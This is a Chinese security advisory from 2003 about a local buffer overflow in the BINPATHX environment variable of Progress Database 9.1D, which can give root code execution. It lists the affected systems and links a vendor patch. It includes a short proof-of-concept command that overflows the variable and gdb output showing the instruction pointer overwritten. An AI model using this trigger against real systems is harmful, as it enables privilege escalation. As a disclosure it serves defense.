首页 -> 安全研究

安全研究

安全漏洞
Progress数据库BINPATHX环境变量本地缓冲区溢出漏洞

发布日期:2003-04-15
更新日期:2003-04-18

受影响系统:
Progress Database 9.1D05
Progress Database 9.1D
    - HP HP-UX 11.0
    - IBM AIX 4.3.3
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows 2000 Server SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000 Server
    - RedHat Linux 7.1
    - RedHat Linux 7.0
    - RedHat Linux 6.2
    - Sun Solaris 2.6
    - SuSE Linux 7.2
描述:
Progress是一款商业性质的数据库系统,可使用在Microsoft Windows和Unix操作系统下。

Progress在读取'BINPATHX'环境变量时缺少正确缓冲区边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以root用户权限在系统上执行任意指令。

'BINPATHX'环境变量用于progress在何地获得共享库文件和其他安装文件,但是在读取的时候没有进行正确的边界缓冲区检查,攻击者提供超长的数据作为'BINPATHX'环境变量值,当Progress处理时可触发缓冲区溢出,可能以root用户权限在系统上执行任意指令。

<*来源:KF (dotslash@snosoft.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105042163228928&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

KF (dotslash@snosoft.com)提供了如下测试方法:

Debugger output        :
rootme@gentoo rootme $ export BINPATHX=`perl -e 'print "A" x 240'`
rootme@gentoo rootme $ gdb -q /usr/dlc/bin/_proapsv
(gdb) r
Starting program: /usr/dlc/bin/_proapsv

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0  0x41414141 in ?? ()
Cannot access memory at address 0x41414141

建议:
厂商补丁:

Progress
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.progress.com/patches/patchlst/91D-156v.htm

浏览次数:4024
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障